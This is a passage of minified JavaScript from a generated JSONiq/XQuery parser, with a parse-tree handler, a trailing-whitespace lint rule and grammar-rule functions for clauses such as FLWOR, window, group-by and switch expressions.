+$/);n&&r.push({pos:{sl:t,el:t,sc:n.index,ec:n.index+n[0].length},type:\"warning\",level:\"warning\",message:\"[SW04] Trailing whitespace\"})}),this.visit(e)}},{}],8:[function(e,t,n){n.JSONParseTreeHandler=function(e){\"use strict\";function f(e){return{name:e,children:[],getParent:null,pos:{sl:0,sc:0,el:0,ec:0}}}function l(e){var t=f(e);r===null?(r=t,r.index=[],i=t):(t.getParent=i,i.children.push(t),i=i.children[i.children.length-1])}function c(){if(i.children.length>0){var e=i.children[0],s=null;for(var o=i.children.length-1;o>=0;o--){s=i.children[o];if(s.pos.el!==0||s.pos.ec!==0)break}i.pos.sl=e.pos.sl,i.pos.sc=e.pos.sc,i.pos.el=s.pos.el,i.pos.ec=s.pos.ec}i.name===\"FunctionName\"&&(i.name=\"EQName\"),i.name===\"EQName\"&&i.value===undefined&&(i.value=i.children[0].value,i.children.pop()),t.indexOf(i.name)!==-1&&r.index.push(i),i.getParent!==null&&(i=i.getParent);if(i.children.length>0){var u=i.children[i.children.length-1];u.children.length===1&&n.indexOf(u.name)!==-1&&(i.children[i.children.length-1]=u.children[0])}}function h(e,t,n){var r=n-o;i.value=s.substring(0,r),s=s.substring(r),o=n;var f=a,l=u,c=f+i.value.split(\"\\n\").length-1,h=i.value.lastIndexOf(\"\\n\"),p=h===-1?l+i.value.length:i.value.substring(h+1).length;a=c,u=p,i.pos.sl=f,i.pos.sc=l,i.pos.el=c,i.pos.ec=p}var t=[\"VarDecl\",\"FunctionDecl\"],n=[\"OrExpr\",\"AndExpr\",\"ComparisonExpr\",\"StringConcatExpr\",\"RangeExpr\",\"UnionExpr\",\"IntersectExceptExpr\",\"InstanceofExpr\",\"TreatExpr\",\"CastableExpr\",\"CastExpr\",\"UnaryExpr\",\"ValueExpr\",\"FTContainsExpr\",\"SimpleMapExpr\",\"PathExpr\",\"RelativePathExpr\",\"PostfixExpr\",\"StepExpr\"],r=null,i=null,s=e,o=0,u=0,a=0;this.closeParseTree=function(){while(i.getParent!==null)c();c()},this.peek=function(){return i},this.getParseTree=function(){return r},this.reset=function(){},this.startNonterminal=function(e,t){l(e,t)},this.endNonterminal=function(){c()},this.terminal=function(e,t,n){e=e.substring(0,1)===\"'\"&&e.substring(e.length-1)===\"'\"?\"TOKEN\":e,l(e,t),h(i,t,n),c()},this.whitespace=function(e,t){var n=\"WS\";l(n,e),h(i,e,t),c()}}},{}],9:[function(e,t,n){var r=n.JSONiqParser=function i(e,t){function r(e,t){ic=t,ac=e,fc=e.length,s(0,0,0)}function s(e,t,n){Xl=t,Vl=t,$l=e,Jl=t,Kl=n,Ql=0,cc=n,ec=-1,sc={},ic.reset(ac)}function o(){ic.startNonterminal(\"Module\",Vl);switch($l){case 170:ql(168);break;default:Wl=$l}(Wl==64682||Wl==137898)&&u(),Il(278);switch($l){case 185:ql(146);break;default:Wl=$l}switch(Wl){case 95929:jl(),a();break;default:jl(),Za()}ic.endNonterminal(\"Module\",Vl)}function u(){ic.startNonterminal(\"VersionDecl\",Vl),Pl(170),Il(120);switch($l){case 126:Pl(126),Il(17),Pl(11);break;default:Pl(269),Il(17),Pl(11),Il(113),$l==126&&(Pl(126),Il(17),Pl(11))}Il(29),jl(),c(),ic.endNonterminal(\"VersionDecl\",Vl)}function a(){ic.startNonterminal(\"LibraryModule\",Vl),f(),Il(142),jl(),l(),ic.endNonterminal(\"LibraryModule\",Vl)}function f(){ic.startNonterminal(\"ModuleDecl\",Vl),Pl(185),Il(64),Pl(187),Il(240),jl(),Ga(),Il(30),Pl(61),Il(15),Pl(7),Il(29),jl(),c(),ic.endNonterminal(\"ModuleDecl\",Vl)}function l(){ic.startNonterminal(\"Prolog\",Vl);for(;;){Il(278);switch($l){case 109:ql(207);break;case 155:ql(169);break;default:Wl=$l}if(Wl!=43117&&Wl!=44141&&Wl!=50797&&Wl!=53869&&Wl!=54893&&Wl!=56429&&Wl!=73325&&Wl!=94875&&Wl!=95853&&Wl!=106093&&Wl!=115821&&Wl!=117403)break;switch($l){case 109:ql(201);break;default:Wl=$l}if(Wl==56429){Wl=uc(0,Vl);if(Wl==0){var e=Xl,t=Vl,n=$l,r=Jl,i=Kl,s=Ql,o=Gl,u=Yl;try{_(),Wl=-1}catch(a){Wl=-2}Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),oc(0,Vl,Wl)}}switch(Wl){case-1:jl(),M();break;case 95853:jl(),O();break;case 155:jl(),C();break;case 73325:jl(),D();break;default:jl(),h()}Il(29),jl(),c()}for(;;){Il(278);switch($l){case 109:ql(202);break;default:Wl=$l}if(Wl!=17005&&Wl!=49261&&Wl!=52333&&Wl!=75373&&Wl!=80493&&Wl!=83565&&Wl!=104045&&Wl!=134765&&Wl!=137325)break;switch($l){case 109:ql(197);break;default:Wl=$l}switch(Wl){case 52333:jl(),R();break;case 104045:jl(),Q();break;default:jl(),P()}Il(29),jl(),c()}ic.endNonterminal(\"Prolog\",Vl)}function c(){ic.startNonterminal(\"Separator\",Vl),Pl(54),ic.endNonterminal(\"Separator\",Vl)}function h(){ic.startNonterminal(\"Setter\",Vl);switch($l){case 109:ql(194);break;default:Wl=$l}if(Wl==56429){Wl=uc(1,Vl);if(Wl==0){var e=Xl,t=Vl,n=$l,r=Jl,i=Kl,s=Ql,o=Gl,u=Yl;try{v(),Wl=-2}catch(a){try{Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),w(),Wl=-6}catch(f){Wl=-9}}Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),oc(1,Vl,Wl)}}switch(Wl){case 44141:p();break;case-2:d();break;case 43117:m();break;case 50797:g();break;case 106093:y();break;case-6:b();break;case 115821:Io();break;case 53869:E();break;default:T()}ic.endNonterminal(\"Setter\",Vl)}function p(){ic.startNonterminal(\"BoundarySpaceDecl\",Vl),Pl(109),Il(36),Pl(86),Il(137);switch($l){case 218:Pl(218);break;default:Pl(246)}ic.endNonterminal(\"BoundarySpaceDecl\",Vl)}function d(){ic.startNonterminal(\"DefaultCollationDecl\",Vl),Pl(109),Il(49),Pl(110),Il(41),Pl(95),Il(15),Pl(7),ic.endNonterminal(\"DefaultCollationDecl\",Vl)}function v(){Hl(109),Il(49),Hl(110),Il(41),Hl(95),Il(15),Hl(7)}function m(){ic.startNonterminal(\"BaseURIDecl\",Vl),Pl(109),Il(35),Pl(84),Il(15),Pl(7),ic.endNonterminal(\"BaseURIDecl\",Vl)}function g(){ic.startNonterminal(\"ConstructionDecl\",Vl),Pl(109),Il(44),Pl(99),Il(137);switch($l){case 246:Pl(246);break;default:Pl(218)}ic.endNonterminal(\"ConstructionDecl\",Vl)}function y(){ic.startNonterminal(\"OrderingModeDecl\",Vl),Pl(109),Il(71),Pl(207),Il(135);switch($l){case 206:Pl(206);break;default:Pl(262)}ic.endNonterminal(\"OrderingModeDecl\",Vl)}function b(){ic.startNonterminal(\"EmptyOrderDecl\",Vl),Pl(109),Il(49),Pl(110),Il(70),Pl(205),Il(52),Pl(124),Il(125);switch($l){case 149:Pl(149);break;default:Pl(176)}ic.endNonterminal(\"EmptyOrderDecl\",Vl)}function w(){Hl(109),Il(49),Hl(110),Il(70),Hl(205),Il(52),Hl(124),Il(125);switch($l){case 149:Hl(149);break;default:Hl(176)}}function E(){ic.startNonterminal(\"CopyNamespacesDecl\",Vl),Pl(109),Il(47),Pl(105),Il(132),jl(),S(),Il(25),Pl(42),Il(127),jl(),x(),ic.endNonterminal(\"CopyNamespacesDecl\",Vl)}function S(){ic.startNonterminal(\"PreserveMode\",Vl);switch($l){case 218:Pl(218);break;default:Pl(193)}ic.endNonterminal(\"PreserveMode\",Vl)}function x(){ic.startNonterminal(\"InheritMode\",Vl);switch($l){case 159:Pl(159);break;default:Pl(192)}ic.endNonterminal(\"InheritMode\",Vl)}function T(){ic.startNonterminal(\"DecimalFormatDecl\",Vl),Pl(109),Il(118);switch($l){case 107:Pl(107),Il(246),jl(),$a();break;default:Pl(110),Il(48),Pl(107)}for(;;){Il(204);if($l==54)break;jl(),N(),Il(30),Pl(61),Il(17),Pl(11)}ic.endNonterminal(\"DecimalFormatDecl\",Vl)}function N(){ic.startNonterminal(\"DFPropertyName\",Vl);switch($l){case 108:Pl(108);break;case 151:Pl(151);break;case 158:Pl(158);break;case 182:Pl(182);break;case 68:Pl(68);break;case 213:Pl(213);break;case 212:Pl(212);break;case 280:Pl(280);break;case 117:Pl(117);break;default:Pl(211)}ic.endNonterminal(\"DFPropertyName\",Vl)}function C(){ic.startNonterminal(\"Import\",Vl);switch($l){case 155:ql(130);break;default:Wl=$l}switch(Wl){case 117403:k();break;default:A()}ic.endNonterminal(\"Import\",Vl)}function k(){ic.startNonterminal(\"SchemaImport\",Vl),Pl(155),Il(76),Pl(229),Il(141),$l!=7&&(jl(),L()),Il(15),Pl(7),Il(112);if($l==82){Pl(82),Il(15),Pl(7);for(;;){Il(107);if($l!=42)break;Pl(42),Il(15),Pl(7)}}ic.endNonterminal(\"SchemaImport\",Vl)}function L(){ic.startNonterminal(\"SchemaPrefix\",Vl);switch($l){case 187:Pl(187),Il(240),jl(),Ga(),Il(30),Pl(61);break;default:Pl(110),Il(50),Pl(122),Il(64),Pl(187)}ic.endNonterminal(\"SchemaPrefix\",Vl)}function A(){ic.startNonterminal(\"ModuleImport\",Vl),Pl(155),Il(63),Pl(185),Il(93),$l==187&&(Pl(187),Il(240),jl(),Ga(),Il(30),Pl(61)),Il(15),Pl(7),Il(112);if($l==82){Pl(82),Il(15),Pl(7);for(;;){Il(107);if($l!=42)break;Pl(42),Il(15),Pl(7)}}ic.endNonterminal(\"ModuleImport\",Vl)}function O(){ic.startNonterminal(\"NamespaceDecl\",Vl),Pl(109),Il(64),Pl(187),Il(240),jl(),Ga(),Il(30),Pl(61),Il(15),Pl(7),ic.endNonterminal(\"NamespaceDecl\",Vl)}function M(){ic.startNonterminal(\"DefaultNamespaceDecl\",Vl),Pl(109),Il(49),Pl(110),Il(119);switch($l){case 122:Pl(122);break;default:Pl(147)}Il(64),Pl(187),Il(15),Pl(7),ic.endNonterminal(\"DefaultNamespaceDecl\",Vl)}function _(){Hl(109),Il(49),Hl(110),Il(119);switch($l){case 122:Hl(122);break;default:Hl(147)}Il(64),Hl(187),Il(15),Hl(7)}function D(){ic.startNonterminal(\"FTOptionDecl\",Vl),Pl(109),Il(55),Pl(143),Il(84),jl(),Qu(),ic.endNonterminal(\"FTOptionDecl\",Vl)}function P(){ic.startNonterminal(\"AnnotatedDecl\",Vl),Pl(109);for(;;){Il(192);if($l!=33&&$l!=263)break;switch($l){case 263:jl(),H();break;default:jl(),B()}}switch($l){case 268:jl(),F();break;case 147:jl(),_l();break;case 96:jl(),Ca();break;case 157:jl(),Ha();break;default:jl(),Ba()}ic.endNonterminal(\"AnnotatedDecl\",Vl)}function H(){ic.startNonterminal(\"CompatibilityAnnotation\",Vl),Pl(263),ic.endNonterminal(\"CompatibilityAnnotation\",Vl)}function B(){ic.startNonterminal(\"Annotation\",Vl),Pl(33),Il(246),jl(),$a(),Il(193);if($l==35){Pl(35),Il(190),jl(),di();for(;;){Il(105);if($l!=42)break;Pl(42),Il(190),jl(),di()}Pl(38)}ic.endNonterminal(\"Annotation\",Vl)}function j(){Hl(33),Il(246),Ja(),Il(193);if($l==35){Hl(35),Il(190),vi();for(;;){Il(105);if($l!=42)break;Hl(42),Il(190),vi()}Hl(38)}}function F(){ic.startNonterminal(\"VarDecl\",Vl),Pl(268),Il(21),Pl(31),Il(246),jl(),Ti(),Il(157),$l==80&&(jl(),Cs()),Il(110);switch($l){case 53:Pl(53),Il(267),jl(),I();break;default:Pl(134),Il(108),$l==53&&(Pl(53),Il(267),jl(),q())}ic.endNonterminal(\"VarDecl\",Vl)}function I(){ic.startNonterminal(\"VarValue\",Vl),Wf(),ic.endNonterminal(\"VarValue\",Vl)}function q(){ic.startNonterminal(\"VarDefaultValue\",Vl),Wf(),ic.endNonterminal(\"VarDefaultValue\",Vl)}function R(){ic.startNonterminal(\"ContextItemDecl\",Vl),Pl(109),Il(46),Pl(102),Il(58),Pl(167),Il(157),$l==80&&(Pl(80),Il(254),jl(),_s()),Il(110);switch($l){case 53:Pl(53),Il(267),jl(),I();break;default:Pl(134),Il(108),$l==53&&(Pl(53),Il(267),jl(),q())}ic.endNonterminal(\"ContextItemDecl\",Vl)}function U(){ic.startNonterminal(\"ParamList\",Vl),W();for(;;){Il(105);if($l!=42)break;Pl(42),Il(21),jl(),W()}ic.endNonterminal(\"ParamList\",Vl)}function z(){X();for(;;){Il(105);if($l!=42)break;Hl(42),Il(21),X()}}function W(){ic.startNonterminal(\"Param\",Vl),Pl(31),Il(246),jl(),$a(),Il(153),$l==80&&(jl(),Cs()),ic.endNonterminal(\"Param\",Vl)}function X(){Hl(31),Il(246),Ja(),Il(153),$l==80&&ks()}function V(){ic.startNonterminal(\"FunctionBody\",Vl),J(),ic.endNonterminal(\"FunctionBody\",Vl)}function $(){K()}function J(){ic.startNonterminal(\"EnclosedExpr\",Vl),Pl(281),Il(267),jl(),G(),Pl(287),ic.endNonterminal(\"EnclosedExpr\",Vl)}function K(){Hl(281),Il(267),Y(),Hl(287)}function Q(){ic.startNonterminal(\"OptionDecl\",Vl),Pl(109),Il(69),Pl(203),Il(246),jl(),$a(),Il(17),Pl(11),ic.endNonterminal(\"OptionDecl\",Vl)}function G(){ic.startNonterminal(\"Expr\",Vl),Wf();for(;;){if($l!=42)break;Pl(42),Il(267),jl(),Wf()}ic.endNonterminal(\"Expr\",Vl)}function Y(){Xf();for(;;){if($l!=42)break;Hl(42),Il(267),Xf()}}function Z(){ic.startNonterminal(\"FLWORExpr\",Vl),tt();for(;;){Il(195);if($l==224)break;jl(),rt()}jl(),rn(),ic.endNonterminal(\"FLWORExpr\",Vl)}function et(){nt();for(;;){Il(195);if($l==224)break;it()}sn()}function tt(){ic.startNonterminal(\"InitialClause\",Vl);switch($l){case 139:ql(151);break;default:Wl=$l}switch(Wl){case 16011:st();break;case 177:vt();break;default:bt()}ic.endNonterminal(\"InitialClause\",Vl)}function nt(){switch($l){case 139:ql(151);break;default:Wl=$l}switch(Wl){case 16011:ot();break;case 177:mt();break;default:wt()}}function rt(){ic.startNonterminal(\"IntermediateClause\",Vl);switch($l){case 139:case 177:tt();break;case 272:It();break;case 150:Rt();break;case 106:jt();break;default:Kt()}ic.endNonterminal(\"IntermediateClause\",Vl)}function it(){switch($l){case 139:case 177:nt();break;case 272:qt();break;case 150:Ut();break;case 106:Ft();break;default:Qt()}}function st(){ic.startNonterminal(\"ForClause\",Vl),Pl(139),Il(21),jl(),ut();for(;;){if($l!=42)break;Pl(42),Il(21),jl(),ut()}ic.endNonterminal(\"ForClause\",Vl)}function ot(){Hl(139),Il(21),at();for(;;){if($l!=42)break;Hl(42),Il(21),at()}}function ut(){ic.startNonterminal(\"ForBinding\",Vl),Pl(31),Il(246),jl(),Ti(),Il(182),$l==80&&(jl(),Cs()),Il(173),$l==73&&(jl(),ft()),Il(160),$l==82&&(jl(),ct()),Il(126),$l==232&&(jl(),pt()),Il(56),Pl(156),Il(267),jl(),Wf(),ic.endNonterminal(\"ForBinding\",Vl)}function at(){Hl(31),Il(246),Ni(),Il(182),$l==80&&ks(),Il(173),$l==73&&lt(),Il(160),$l==82&&ht(),Il(126),$l==232&&dt(),Il(56),Hl(156),Il(267),Xf()}function ft(){ic.startNonterminal(\"AllowingEmpty\",Vl),Pl(73),Il(52),Pl(124),ic.endNonterminal(\"AllowingEmpty\",Vl)}function lt(){Hl(73),Il(52),Hl(124)}function ct(){ic.startNonterminal(\"PositionalVar\",Vl),Pl(82),Il(21),Pl(31),Il(246),jl(),Ti(),ic.endNonterminal(\"PositionalVar\",Vl)}function ht(){Hl(82),Il(21),Hl(31),Il(246),Ni()}function pt(){ic.startNonterminal(\"FTScoreVar\",Vl),Pl(232),Il(21),Pl(31),Il(246),jl(),Ti(),ic.endNonterminal(\"FTScoreVar\",Vl)}function dt(){Hl(232),Il(21),Hl(31),Il(246),Ni()}function vt(){ic.startNonterminal(\"LetClause\",Vl),Pl(177),Il(100),jl(),gt();for(;;){if($l!=42)break;Pl(42),Il(100),jl(),gt()}ic.endNonterminal(\"LetClause\",Vl)}function mt(){Hl(177),Il(100),yt();for(;;){if($l!=42)break;Hl(42),Il(100),yt()}}function gt(){ic.startNonterminal(\"LetBinding\",Vl);switch($l){case 31:Pl(31),Il(246),jl(),Ti(),Il(109),$l==80&&(jl(),Cs());break;default:pt()}Il(28),Pl(53),Il(267),jl(),Wf(),ic.endNonterminal(\"LetBinding\",Vl)}function yt(){switch($l){case 31:Hl(31),Il(246),Ni(),Il(109),$l==80&&ks();break;default:dt()}Il(28),Hl(53),Il(267),Xf()}function bt(){ic.startNonterminal(\"WindowClause\",Vl),Pl(139),Il(139);switch($l){case 257:jl(),Et();break;default:jl(),xt()}ic.endNonterminal(\"WindowClause\",Vl)}function wt(){Hl(139),Il(139);switch($l){case 257:St();break;default:Tt()}}function Et(){ic.startNonterminal(\"TumblingWindowClause\",Vl),Pl(257),Il(88),Pl(275),Il(21),Pl(31),Il(246),jl(),Ti(),Il(114),$l==80&&(jl(),Cs()),Il(56),Pl(156),Il(267),jl(),Wf(),jl(),Nt();if($l==127||$l==202)jl(),kt();ic.endNonterminal(\"TumblingWindowClause\",Vl)}function St(){Hl(257),Il(88),Hl(275),Il(21),Hl(31),Il(246),Ni(),Il(114),$l==80&&ks(),Il(56),Hl(156),Il(267),Xf(),Ct(),($l==127||$l==202)&&Lt()}function xt(){ic.startNonterminal(\"SlidingWindowClause\",Vl),Pl(239),Il(88),Pl(275),Il(21),Pl(31),Il(246),jl(),Ti(),Il(114),$l==80&&(jl(),Cs()),Il(56),Pl(156),Il(267),jl(),Wf(),jl(),Nt(),jl(),kt(),ic.endNonterminal(\"SlidingWindowClause\",Vl)}function Tt(){Hl(239),Il(88),Hl(275),Il(21),Hl(31),Il(246),Ni(),Il(114),$l==80&&ks(),Il(56),Hl(156),Il(267),Xf(),Ct(),Lt()}function Nt(){ic.startNonterminal(\"WindowStartCondition\",Vl),Pl(242),Il(181),jl(),At(),Il(86),Pl(271),Il(267),jl(),Wf(),ic.endNonterminal(\"WindowStartCondition\",Vl)}function Ct(){Hl(242),Il(181),Ot(),Il(86),Hl(271),Il(267),Xf()}function kt(){ic.startNonterminal(\"WindowEndCondition\",Vl),$l==202&&Pl(202),Il(53),Pl(127),Il(181),jl(),At(),Il(86),Pl(271),Il(267),jl(),Wf(),ic.endNonterminal(\"WindowEndCondition\",Vl)}function Lt(){$l==202&&Hl(202),Il(53),Hl(127),Il(181),Ot(),Il(86),Hl(271),Il(267),Xf()}function At(){ic.startNonterminal(\"WindowVars\",Vl),$l==31&&(Pl(31),Il(246),jl(),Mt()),Il(174),$l==82&&(jl(),ct()),Il(163),$l==219&&(Pl(219),Il(21),Pl(31),Il(246),jl(),Dt()),Il(131),$l==190&&(Pl(190),Il(21),Pl(31),Il(246),jl(),Ht()),ic.endNonterminal(\"WindowVars\",Vl)}function Ot(){$l==31&&(Hl(31),Il(246),_t()),Il(174),$l==82&&ht(),Il(163),$l==219&&(Hl(219),Il(21),Hl(31),Il(246),Pt()),Il(131),$l==190&&(Hl(190),Il(21),Hl(31),Il(246),Bt())}function Mt(){ic.startNonterminal(\"CurrentItem\",Vl),$a(),ic.endNonterminal(\"CurrentItem\",Vl)}function _t(){Ja()}function Dt(){ic.startNonterminal(\"PreviousItem\",Vl),$a(),ic.endNonterminal(\"PreviousItem\",Vl)}function Pt(){Ja()}function Ht(){ic.startNonterminal(\"NextItem\",Vl),$a(),ic.endNonterminal(\"NextItem\",Vl)}function Bt(){Ja()}function jt(){ic.startNonterminal(\"CountClause\",Vl),Pl(106),Il(21),Pl(31),Il(246),jl(),Ti(),ic.endNonterminal(\"CountClause\",Vl)}function Ft(){Hl(106),Il(21),Hl(31),Il(246),Ni()}function It(){ic.startNonterminal(\"WhereClause\",Vl),Pl(272),Il(267),jl(),Wf(),ic.endNonterminal(\"WhereClause\",Vl)}function qt(){Hl(272),Il(267),Xf()}function Rt(){ic.startNonterminal(\"GroupByClause\",Vl),Pl(150),Il(37),Pl(88),Il(267),jl(),zt(),ic.endNonterminal(\"GroupByClause\",Vl)}function Ut(){Hl(150),Il(37),Hl(88),Il(267),Wt()}function zt(){ic.startNonterminal(\"GroupingSpecList\",Vl),Xt();for(;;){Il(198);if($l!=42)break;Pl(42),Il(267),jl(),Xt()}ic.endNonterminal(\"GroupingSpecList\",Vl)}function Wt(){Vt();for(;;){Il(198);if($l!=42)break;Hl(42),Il(267),Vt()}}function Xt(){ic.startNonterminal(\"GroupingSpec\",Vl);switch($l){case 31:ql(246);break;default:Wl=$l}if(Wl==3103||Wl==36383||Wl==37407||Wl==37919||Wl==38431||Wl==38943||Wl==39967||Wl==40479||Wl==40991||Wl==41503||Wl==42015||Wl==42527||Wl==43039||Wl==43551||Wl==44063||Wl==44575||Wl==45599||Wl==46111||Wl==46623||Wl==47135||Wl==48159||Wl==48671||Wl==49695||Wl==50207||Wl==50719||Wl==52255||Wl==52767||Wl==53279||Wl==53791||Wl==54303||Wl==54815||Wl==55839||Wl==56351||Wl==56863||Wl==57375||Wl==57887||Wl==58399||Wl==60959||Wl==61471||Wl==61983||Wl==62495||Wl==63007||Wl==63519||Wl==64031||Wl==64543||Wl==65055||Wl==66079||Wl==66591||Wl==67615||Wl==68127||Wl==68639||Wl==69151||Wl==69663||Wl==70175||Wl==70687||Wl==71199||Wl==72735||Wl==73247||Wl==75295||Wl==75807||Wl==76831||Wl==77855||Wl==78367||Wl==78879||Wl==79391||Wl==79903||Wl==80415||Wl==82463||Wl==82975||Wl==83487||Wl==83999||Wl==84511||Wl==85023||Wl==85535||Wl==86047||Wl==86559||Wl==87071||Wl==88607||Wl==89119||Wl==89631||Wl==90655||Wl==91679||Wl==92703||Wl==93727||Wl==94239||Wl==94751||Wl==95775||Wl==96287||Wl==96799||Wl==99359||Wl==99871||Wl==100895||Wl==101407||Wl==103455||Wl==103967||Wl==104479||Wl==104991||Wl==105503||Wl==106015||Wl==107551||Wl==110623||Wl==111135||Wl==112671||Wl==113695||Wl==114207||Wl==114719||Wl==115231||Wl==115743||Wl==116767||Wl==117279||Wl==117791||Wl==118303||Wl==118815||Wl==119327||Wl==119839||Wl==122399||Wl==122911||Wl==123423||Wl==123935||Wl==125471||Wl==126495||Wl==127007||Wl==127519||Wl==129567||Wl==130079||Wl==130591||Wl==131103||Wl==131615||Wl==132127||Wl==132639||Wl==133151||Wl==134175||Wl==134687||Wl==136223||Wl==136735||Wl==137247||Wl==137759||Wl==139295||Wl==139807||Wl==141343){Wl=uc(2,Vl);if(Wl==0){var e=Xl,t=Vl,n=$l,r=Jl,i=Kl,s=Ql,o=Gl,u=Yl;try{Jt(),Il(206);if($l==53||$l==80)$l==80&&ks(),Il(28),Hl(53),Il(267),Xf();$l==95&&(Hl(95),Il(15),Hl(7)),Wl=-1}catch(a){Wl=-2}Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),oc(2,Vl,Wl)}}switch(Wl){case-1:$t(),Il(206);if($l==53||$l==80)$l==80&&(jl(),Cs()),Il(28),Pl(53),Il(267),jl(),Wf();$l==95&&(Pl(95),Il(15),Pl(7));break;default:Wf()}ic.endNonterminal(\"GroupingSpec\",Vl)}function Vt(){switch($l){case 31:ql(246);break;default:Wl=$l}if(Wl==3103||Wl==36383||Wl==37407||Wl==37919||Wl==38431||Wl==38943||Wl==39967||Wl==40479||Wl==40991||Wl==41503||Wl==42015||Wl==42527||Wl==43039||Wl==43551||Wl==44063||Wl==44575||Wl==45599||Wl==46111||Wl==46623||Wl==47135||Wl==48159||Wl==48671||Wl==49695||Wl==50207||Wl==50719||Wl==52255||Wl==52767||Wl==53279||Wl==53791||Wl==54303||Wl==54815||Wl==55839||Wl==56351||Wl==56863||Wl==57375||Wl==57887||Wl==58399||Wl==60959||Wl==61471||Wl==61983||Wl==62495||Wl==63007||Wl==63519||Wl==64031||Wl==64543||Wl==65055||Wl==66079||Wl==66591||Wl==67615||Wl==68127||Wl==68639||Wl==69151||Wl==69663||Wl==70175||Wl==70687||Wl==71199||Wl==72735||Wl==73247||Wl==75295||Wl==75807||Wl==76831||Wl==77855||Wl==78367||Wl==78879||Wl==79391||Wl==79903||Wl==80415||Wl==82463||Wl==82975||Wl==83487||Wl==83999||Wl==84511||Wl==85023||Wl==85535||Wl==86047||Wl==86559||Wl==87071||Wl==88607||Wl==89119||Wl==89631||Wl==90655||Wl==91679||Wl==92703||Wl==93727||Wl==94239||Wl==94751||Wl==95775||Wl==96287||Wl==96799||Wl==99359||Wl==99871||Wl==100895||Wl==101407||Wl==103455||Wl==103967||Wl==104479||Wl==104991||Wl==105503||Wl==106015||Wl==107551||Wl==110623||Wl==111135||Wl==112671||Wl==113695||Wl==114207||Wl==114719||Wl==115231||Wl==115743||Wl==116767||Wl==117279||Wl==117791||Wl==118303||Wl==118815||Wl==119327||Wl==119839||Wl==122399||Wl==122911||Wl==123423||Wl==123935||Wl==125471||Wl==126495||Wl==127007||Wl==127519||Wl==129567||Wl==130079||Wl==130591||Wl==131103||Wl==131615||Wl==132127||Wl==132639||Wl==133151||Wl==134175||Wl==134687||Wl==136223||Wl==136735||Wl==137247||Wl==137759||Wl==139295||Wl==139807||Wl==141343){Wl=uc(2,Vl);if(Wl==0){var e=Xl,t=Vl,n=$l,r=Jl,i=Kl,s=Ql,o=Gl,u=Yl;try{Jt(),Il(206);if($l==53||$l==80)$l==80&&ks(),Il(28),Hl(53),Il(267),Xf();$l==95&&(Hl(95),Il(15),Hl(7)),oc(2,t,-1),Wl=-3}catch(a){Wl=-2,Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),oc(2,t,-2)}}}switch(Wl){case-1:Jt(),Il(206);if($l==53||$l==80)$l==80&&ks(),Il(28),Hl(53),Il(267),Xf();$l==95&&(Hl(95),Il(15),Hl(7));break;case-3:break;default:Xf()}}function $t(){ic.startNonterminal(\"GroupingVariable\",Vl),Pl(31),Il(246),jl(),Ti(),ic.endNonterminal(\"GroupingVariable\",Vl)}function Jt(){Hl(31),Il(246),Ni()}function Kt(){ic.startNonterminal(\"OrderByClause\",Vl);switch($l){case 205:Pl(205),Il(37),Pl(88);break;default:Pl(241),Il(70),Pl(205),Il(37),Pl(88)}Il(267),jl(),Gt(),ic.endNonterminal(\"OrderByClause\",Vl)}function Qt(){switch($l){case 205:Hl(205),Il(37),Hl(88);break;default:Hl(241),Il(70),Hl(205),Il(37),Hl(88)}Il(267),Yt()}function Gt(){ic.startNonterminal(\"OrderSpecList\",Vl),Zt();for(;;){Il(198);if($l!=42)break;Pl(42),Il(267),jl(),Zt()}ic.endNonterminal(\"OrderSpecList\",Vl)}function Yt(){en();for(;;){Il(198);if($l!=42)break;Hl(42),Il(267),en()}}function Zt(){ic.startNonterminal(\"OrderSpec\",Vl),Wf(),jl(),tn(),ic.endNonterminal(\"OrderSpec\",Vl)}function en(){Xf(),nn()}function tn(){ic.startNonterminal(\"OrderModifier\",Vl);if($l==81||$l==114)switch($l){case 81:Pl(81);break;default:Pl(114)}Il(203);if($l==124){Pl(124),Il(125);switch($l){case 149:Pl(149);break;default:Pl(176)}}Il(199),$l==95&&(Pl(95),Il(15),Pl(7)),ic.endNonterminal(\"OrderModifier\",Vl)}function nn(){if($l==81||$l==114)switch($l){case 81:Hl(81);break;default:Hl(114)}Il(203);if($l==124){Hl(124),Il(125);switch($l){case 149:Hl(149);break;default:Hl(176)}}Il(199),$l==95&&(Hl(95),Il(15),Hl(7))}function rn(){ic.startNonterminal(\"ReturnClause\",Vl),Pl(224),Il(267),jl(),Wf(),ic.endNonterminal(\"ReturnClause\",Vl)}function sn(){Hl(224),Il(267),Xf()}function on(){ic.startNonterminal(\"QuantifiedExpr\",Vl);switch($l){case 240:Pl(240);break;default:Pl(130)}Il(21),jl(),an();for(;;){if($l!=42)break;Pl(42),Il(21),jl(),an()}Pl(228),Il(267),jl(),Wf(),ic.endNonterminal(\"QuantifiedExpr\",Vl)}function un(){switch($l){case 240:Hl(240);break;default:Hl(130)}Il(21),fn();for(;;){if($l!=42)break;Hl(42),Il(21),fn()}Hl(228),Il(267),Xf()}function an(){ic.startNonterminal(\"QuantifiedVarDecl\",Vl),Pl(31),Il(246),jl(),Ti(),Il(114),$l==80&&(jl(),Cs()),Il(56),Pl(156),Il(267),jl(),Wf(),ic.endNonterminal(\"QuantifiedVarDecl\",Vl)}function fn(){Hl(31),Il(246),Ni(),Il(114),$l==80&&ks(),Il(56),Hl(156),Il(267),Xf()}function ln(){ic.startNonterminal(\"SwitchExpr\",Vl),Pl(248),Il(22),Pl(35),Il(267),jl(),G(),Pl(38);for(;;){Il(38),jl(),hn();if($l!=89)break}Pl(110),Il(73),Pl(224),Il(267),jl(),Wf(),ic.endNonterminal(\"SwitchExpr\",Vl)}function cn(){Hl(248),Il(22),Hl(35),Il(267),Y(),Hl(38);for(;;){Il(38),pn();if($l!=89)break}Hl(110),Il(73),Hl(224),Il(267),Xf()}function 